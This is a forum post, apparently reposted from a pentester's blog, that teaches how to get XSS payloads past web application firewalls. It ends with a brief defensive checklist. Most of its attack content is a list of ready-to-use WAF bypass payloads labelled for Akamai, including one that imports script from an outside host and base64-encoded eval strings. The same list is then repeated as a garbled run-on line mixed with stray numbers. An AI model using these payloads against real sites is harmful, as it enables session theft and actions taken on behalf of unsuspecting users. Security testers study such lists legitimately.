Bypassing Firewalls (WAF) with XSS Payloads

kahmeleone · Friday at 10:41 PM

Hey Folks

!! In this tutorial, we will describe some of the techniques commonly used by hackers to bypass Web Application Firewalls (WAF) during XSS exploitation.

Let’s See

!!

Introduction Web Application Firewalls (WAFs) are essential security components designed to protect web applications from various types of attacks, including Cross-Site Scripting (XSS). However, sophisticated attackers often find ways to bypass WAFs, especially when it comes to injecting malicious XSS payloads. In this article, we’ll explore some techniques used to bypass WAFs and execute XSS payloads successfully.

Understanding XSS and WAFs Cross-Site Scripting (XSS) is a type of injection attack where an attacker injects malicious scripts into content that is then served to users. These scripts can steal user data, hijack sessions, or perform unauthorized actions on behalf of the user.

WAFs are designed to filter and monitor HTTP requests, blocking any malicious attempts based on predefined rules or learning algorithms. However, WAFs are not foolproof, and attackers constantly develop new methods to evade them.

Common WAF Bypass Techniques

Obfuscation: Attackers often obfuscate their XSS payloads to bypass WAF detection. Techniques like encoding the payload in different formats (e.g., HTML entities, Base64) or breaking up the script with comments or unnecessary characters can trick the WAF into allowing the payload through.

Using Alternate Event Handlers: WAFs may specifically filter common event handlers like
Code:
```
onload
```
or
Code:
```
onerror
```
. Attackers can use less common event handlers that may not be included in the WAF’s rule set.

1<div style="width:expression(alert(1))"></div>

Polyglot Payloads: A polyglot XSS payload is one that can be interpreted in multiple contexts, increasing its chances of bypassing a WAF. These payloads are designed to execute regardless of whether they are processed as HTML, JavaScript, or another scripting language.

Payload Splitting: Splitting the payload into multiple parts can sometimes evade detection, as WAFs may not correctly reassemble the script in its entirety.

Manipulating Headers: Some WAFs inspect specific HTTP headers for malicious content. By manipulating or injecting headers in a non-standard way, an attacker might bypass the WAF’s inspection process.

GET / HTTP/1.1
Host: victim.com
Content-Length: 0
X-Forwarded-For: '><script>alert(1)</script>1234GET/HTTP/1.1Host:victim.comContent-Length:0X-Forwarded-For:'><script>alert(1)</script>

Now let’s have a look some waf bypass pyaloads

!!

Akamai XSS Payloads

<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}`>
<marquee+loop=1+width=0+onfinish='new+Function`al\ert`1``'>
<svg><circle><set onbegin=prompt(1) attributename=fill>
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
"%3balert`1`%3b"
asd"`> onpointerenter=x=prompt,x`XSS`
<x onauxclick=import('//1152848220/')>click
<x onauxclick=a=alert,a(domain)>click -@niksthehacker
<x onauxclick=import('//1152848220/')>click
<x onauxclick=import('//xss/')>click
\"<>onauxclick<>=(eval)(atob(`YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==`))>+<sss
{{constructor.constructor(alert`1`)()}}
javascript:new%20Function`al\ert`1``;

https://twitter.com/x/status/1378316651431612422

https://twitter.com/x/status/1377992310974218245

Loading…

portswigger.net

">Click -@stealthybugs1234567891011121314151617<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}`><marquee+loop=1+width=0+onfinish='new+Function`al\ert`1``'><svg><circle><set onbegin=prompt(1)attributename=fill><dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a()x>"%3balert`1`%3b"asd"`> onpointerenter=x=prompt,x`XSS`<x onauxclick=import('//1152848220/')>click<x onauxclick=a=alert,a(domain)>click -@niksthehacker<x onauxclick=import('//1152848220/')>click<x onauxclick=import('//xss/')>click\"<>onauxclick<>=(eval)(atob(`YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==`))>+<sss{{constructor.constructor(alert`1`)()}}javascript:new%20Function`al\ert`1``;

https://twitter.com/x/status/1378316651431612422

https://twitter.com/x/status/1377992310974218245

Regular Updates: Keep WAF signatures and rules up-to-date to cover new and emerging threats.
Defense-in-Depth: Utilize a combination of security mechanisms (e.g., input validation, Content Security Policy) alongside the WAF for better protection.
Security Testing: Regularly perform penetration testing and security assessments to identify and patch any vulnerabilities that could be exploited.

Conclusion Bypassing a WAF with XSS payloads requires creativity and a deep understanding of both the WAF’s limitations and the web application itself. While WAFs provide a strong line of defense, they should not be solely relied upon. A layered security approach combined with continuous monitoring and testing is essential to defend against these sophisticated attacks.

Additionally

!! If you are a beginner and having some difficulty understanding XSS vulnerabilities in depth, you can visit here

About the AuthorShubham Goyal Certified Ethical Hacker, information security analyst, penetration tester and researcher. Can be Contact on Linkedin.

Bypassing Firewalls (WAF) with XSS Payloads

More options

kahmeleone

Loading…

428,096

310,989

310,998